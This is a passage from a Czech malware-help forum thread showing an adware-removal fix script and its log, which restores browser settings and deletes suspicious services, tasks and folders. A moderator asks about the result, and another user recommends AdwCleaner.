FF Homepage: C:\ProgramData\AppmallosayoVs\ff.HP
FF Keyword.URL: hxxp://dts.search.ask.com/sr?src=ffb&gc ... PN11459&q=
FF Plugin-x32: @esn.me/esnsonar,version=0.70.0 -> C:\Program Files (x86)\Battlelog Web Plugins\Sonar\0.70.0\npesnsonar.dll [No File]
FF Plugin-x32: @esn/esnlaunch,version=2.1.7 -> C:\Program Files (x86)\Battlelog Web Plugins\2.1.7\npesnlaunch.dll [No File]
FF Plugin-x32: @esn/npbattlelog,version=2.4.0 -> C:\Program Files (x86)\Battlelog Web Plugins\2.4.0\npbattlelog.dll [No File]
FF Plugin-x32: @microsoft.com/GENUINE -> disabled [No File]
FF Plugin HKU\S-1-5-21-2179928940-599623959-1496544258-1002: @lightspark.github.com/Lightspark;version=1 -> C:\Program Files (x86)\Lightspark 0.5.3-git\nplightsparkplugin.dll [No File]
FF HKLM\...\Thunderbird\Extensions: [eplgTb@eset.com] - C:\Program Files\ESET\ESET NOD32 Antivirus\Mozilla Thunderbird => not found
FF HKLM-x32\...\Firefox\Extensions: [iey.eaea@ilaiya.edu] - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\extensions\iey.eaea@ilaiya.edu => not found
FF HKLM-x32\...\Firefox\Extensions: [{ABDE892B-13A8-4d1b-88E6-365A6E755758}] - C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\Firefox\Ext => not found
FF HKLM-x32\...\Firefox\Extensions: [ext@flashenhancer.com] - C:\Program Files (x86)\AmiExt\flashEnhancer\ff => not found
S3 ATICDSDr; \??\C:\Windows\TEMP\ATICDSDr.sys [X]
S1 eddcraht; \??\C:\Windows\system32\drivers\eddcraht.sys [X]
U2 glory; no ImagePath
S3 LVPr2M64; system32\DRIVERS\LVPr2M64.sys [X]
S3 LVRS64; system32\DRIVERS\lvrs64.sys [X]
S3 LVUVC64; system32\DRIVERS\lvuvc64.sys [X]
S1 lwedyski; \??\C:\Windows\system32\drivers\lwedyski.sys [X]
S1 mewhqimk; \??\C:\Windows\system32\drivers\mewhqimk.sys [X]
S1 prodrv06; \SystemRoot\System32\drivers\prodrv06.sys [X]
S1 qvpajadl; \??\C:\Windows\system32\drivers\qvpajadl.sys [X]
U2 snare; no ImagePath
C:\ProgramData\AppmallosayoVs
C:\ProgramData\AppmallosayoV
C:\Users\Uzivatel\AppData\Roaming\1fqb43r0ntz
C:\Windows\System32\Tasks\34a6735dd8363e8db5cc880809001e84
C:\Windows\System32\Tasks\eStark
C:\Program Files (x86)\UCBrowser
C:\Users\Uzivatel\AppData\Roaming\slt0o43qupq
C:\Users\Uzivatel\AppData\Roaming\tqvg0555bo0
C:\Users\Uzivatel\AppData\Roaming\xgmrsj1ys5i
C:\Program Files (x86)\u1f3jffxnwl
EmptyTemp:
End
*****************
HKLM\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\\SunJavaUpdateSched => value not found.
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Windows\CurrentVersion\Run\\QKRPRNSOSV.exe => value not found.
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Windows\CurrentVersion\Run\\7FM3ZXLNA1ZP1PG => value not found.
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Windows\CurrentVersion\Run\\6VPXZBGTWPME1EW => value not found.
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Windows\CurrentVersion\Run\\5Q7U43XKBO736KK => value not found.
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Windows\CurrentVersion\Run\\G9CQIRQT0759DOK => value not found.
"C:\Windows\Temp" folder move:
Could not move "C:\Windows\Temp" => Scheduled to move on reboot.
"C:\Program Files\FNJLTCS41J" => not found.
"C:\Program Files\SWG63XXW0V" => not found.
"C:\Program Files\G05HC4PZV0" => not found.
"C:\Program Files\I59ZA8EZ7K" => not found.
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{a0a4aba1-0a8a-11e7-9421-6cf0491de2a6} => key not found.
HKCR\CLSID\{a0a4aba1-0a8a-11e7-9421-6cf0491de2a6} => key not found.
"C:\ProgramData\AppmallosayoV\Voltdax.dll" => Value data not found.
"C:\ProgramData\AppmallosayoV\Grave-Fan.dll" => Value data not found.
HKLM\Software\microsoft\windows nt\currentversion\Image File Execution Options\GoogleUpdate.exe => key not found.
HKLM\Software\microsoft\windows nt\currentversion\Image File Execution Options\GoogleUpdaterService.exe => key not found.
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ SkyDrive1 => key not found.
HKCR\CLSID\{F241C880-6982-4CE5-8CF7-7085BA96DA5A} => key not found.
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ SkyDrive2 => key not found.
HKCR\CLSID\{A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} => key not found.
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ SkyDrive3 => key not found.
HKCR\CLSID\{BBACC218-34EA-4666-9D7A-C78F2274A524} => key not found.
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ SkyDrive1 => key not found.
HKCR\Wow6432Node\CLSID\{F241C880-6982-4CE5-8CF7-7085BA96DA5A} => key not found.
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ SkyDrive2 => key not found.
HKCR\Wow6432Node\CLSID\{A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} => key not found.
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ SkyDrive3 => key not found.
HKCR\Wow6432Node\CLSID\{BBACC218-34EA-4666-9D7A-C78F2274A524} => key not found.
"C:\Windows\system32\GroupPolicy\Machine" => not found.
HKLM\Software\\Microsoft\Internet Explorer\Main\\Search Page => value restored successfully
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main\\Search Page => value restored successfully
HKLM\Software\\Microsoft\Internet Explorer\Main\\Default_Page_URL => value restored successfully
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main\\Default_Page_URL => value restored successfully
HKLM\Software\\Microsoft\Internet Explorer\Main\\Default_Search_URL => value restored successfully
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main\\Default_Search_URL => value restored successfully
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Internet Explorer\Main\\Search Page => value restored successfully
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Internet Explorer\Main\\Default_Page_URL => value restored successfully
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Internet Explorer\Main\\Default_Search_URL => value restored successfully
HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\\DefaultScope => value restored successfully
HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86} => key not found.
HKCR\CLSID\{33BB0A4E-99AF-4226-BDF6-49120163DE86} => key not found.
HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} => key not found.
HKCR\CLSID\{9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} => key not found.
HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\\DefaultScope => value restored successfully
HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86} => key not found.
HKCR\Wow6432Node\CLSID\{33BB0A4E-99AF-4226-BDF6-49120163DE86} => key not found.
HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} => key not found.
HKCR\Wow6432Node\CLSID\{9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} => key not found.
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{2D149E15-BBAA-435b-A98D-BBC53B907C7B} => key not found.
HKCR\CLSID\{2D149E15-BBAA-435b-A98D-BBC53B907C7B} => key not found.
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{80c554b9-c7f8-4a21-9471-06d606da78a2} => key not found.
HKCR\CLSID\{80c554b9-c7f8-4a21-9471-06d606da78a2} => key not found.
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} => key not found.
HKCR\CLSID\{9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} => key not found.
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{A4ACD589-7C3E-4213-BD4A-D721BBD2087F} => key not found.
HKCR\CLSID\{A4ACD589-7C3E-4213-BD4A-D721BBD2087F} => key not found.
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{DBC80044-A445-435b-BC74-9C25C1C588A9} => key not found.
HKCR\CLSID\{DBC80044-A445-435b-BC74-9C25C1C588A9} => key not found.
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{4f3ed5cd-0726-42a9-87f5-d13f3d2976ac} => key not found.
HKCR\Wow6432Node\CLSID\{4f3ed5cd-0726-42a9-87f5-d13f3d2976ac} => key not found.
HKU\.DEFAULT\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser\\{88C7F2AA-F93F-432C-8F0E-B7D85967A527} => value not found.
HKCR\CLSID\{88C7F2AA-F93F-432C-8F0E-B7D85967A527} => key not found.
HKLM\SOFTWARE\Clients\StartMenuInternet\IEXPLORE.EXE\shell\open\command\\Default => value restored successfully
Firefox "newtab" removed successfully
FF DefaultSearchEngine: youndoo => not found
FF SearchEngineOrder.1: Ask.com => not found
FF SelectedSearchEngine: youndoo => not found
Firefox "homepage" removed successfully
FF Keyword.URL: hxxp://dts.search.ask.com/sr?src=ffb&gc ... PN11459&q= => not found
HKLM\Software\Wow6432Node\MozillaPlugins\@esn.me/esnsonar,version=0.70.0 => key not found.
HKLM\Software\Wow6432Node\MozillaPlugins\@esn/esnlaunch,version=2.1.7 => key not found.
HKLM\Software\Wow6432Node\MozillaPlugins\@esn/npbattlelog,version=2.4.0 => key not found.
HKLM\Software\Wow6432Node\MozillaPlugins\@microsoft.com/GENUINE => key not found.
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\MozillaPlugins\@lightspark.github.com/Lightspark;version=1 => key not found.
C:\Program Files (x86)\Lightspark 0.5.3-git\nplightsparkplugin.dll => not found.
HKLM\Software\Mozilla\Thunderbird\Extensions\\eplgTb@eset.com => value not found.
HKLM\Software\Wow6432Node\Mozilla\Firefox\Extensions\\iey.eaea@ilaiya.edu => value not found.
HKLM\Software\Wow6432Node\Mozilla\Firefox\Extensions\\{ABDE892B-13A8-4d1b-88E6-365A6E755758} => value not found.
HKLM\Software\Wow6432Node\Mozilla\Firefox\Extensions\\ext@flashenhancer.com => value not found.
ATICDSDr => service not found.
eddcraht => service not found.
glory => service not found.
LVPr2M64 => service not found.
LVRS64 => service not found.
LVUVC64 => service not found.
lwedyski => service not found.
mewhqimk => service not found.
prodrv06 => service not found.
qvpajadl => service not found.
snare => service not found.
"C:\ProgramData\AppmallosayoVs" => not found.
"C:\ProgramData\AppmallosayoV" folder move:
Could not move "C:\ProgramData\AppmallosayoV" => Scheduled to move on reboot.
"C:\Users\Uzivatel\AppData\Roaming\1fqb43r0ntz" => not found.
"C:\Windows\System32\Tasks\34a6735dd8363e8db5cc880809001e84" => not found.
"C:\Windows\System32\Tasks\eStark" => not found.
"C:\Program Files (x86)\UCBrowser" => not found.
"C:\Users\Uzivatel\AppData\Roaming\slt0o43qupq" => not found.
"C:\Users\Uzivatel\AppData\Roaming\tqvg0555bo0" => not found.
"C:\Users\Uzivatel\AppData\Roaming\xgmrsj1ys5i" => not found.
"C:\Program Files (x86)\u1f3jffxnwl" => not found.
EmptyTemp: => 847.8 MB temporary data Removed.
Result of scheduled files to move (Boot Mode: Normal) (Date&Time: 2017-07-04 21:02:15)
"C:\Windows\Temp" => Could not move
C:\ProgramData\AppmallosayoV => Is moved successfully
==== End of Fixlog 21:02:19 ====
-
Rudy
- Site Admin
- Příspěvky: 118275
- Registrován: 30 říj 2003 13:42
- Bydliště: Plzeň
- Kontaktovat uživatele:
Re: Automatické otevírání prohlížečů a reklam
Smazáno. Nastala nějaká změna?
Dotazy a logy vkládejte pouze do vašich threadů. Soukromé zprávy, icq a e-maily neslouží k řešení vašich problémů.
Podpořte, prosím, naše fórum : https://platba.viry.cz/payment/.
Navštivte:
e-mail: rudy(zavináč)forum.viry.cz
Varování: Před odvirováním PC si udělejte zálohy svých důležitých dat (pošta, kontakty, dokumenty, fotografie, videa, hudba apod.). Virus mimo svých "viditelných" aktivit může poškodit systém!
Po dořešení vašeho problému bude vlákno zamknuto. Stejně tak tehdy, pokud bude nečinné více než 14dnů. Pokud budete chtít vlákno aktivovat, napište mi na mail uvedený výše.
Podpořte, prosím, naše fórum : https://platba.viry.cz/payment/.
Navštivte:
e-mail: rudy(zavináč)forum.viry.cz
Varování: Před odvirováním PC si udělejte zálohy svých důležitých dat (pošta, kontakty, dokumenty, fotografie, videa, hudba apod.). Virus mimo svých "viditelných" aktivit může poškodit systém!
Po dořešení vašeho problému bude vlákno zamknuto. Stejně tak tehdy, pokud bude nečinné více než 14dnů. Pokud budete chtít vlákno aktivovat, napište mi na mail uvedený výše.
Re: Automatické otevírání prohlížečů a reklam
Mám stejné problémy s tímto YEADESKTOPem a mohu doporučit Adwcleanera http://www.bleepingcomputer.com/download/adwcleaner/ a tohoto polského průvodce - http://knksoftware.pl/porywaczy-przegladarki/yeadesktop
Přispějete na provoz fóra?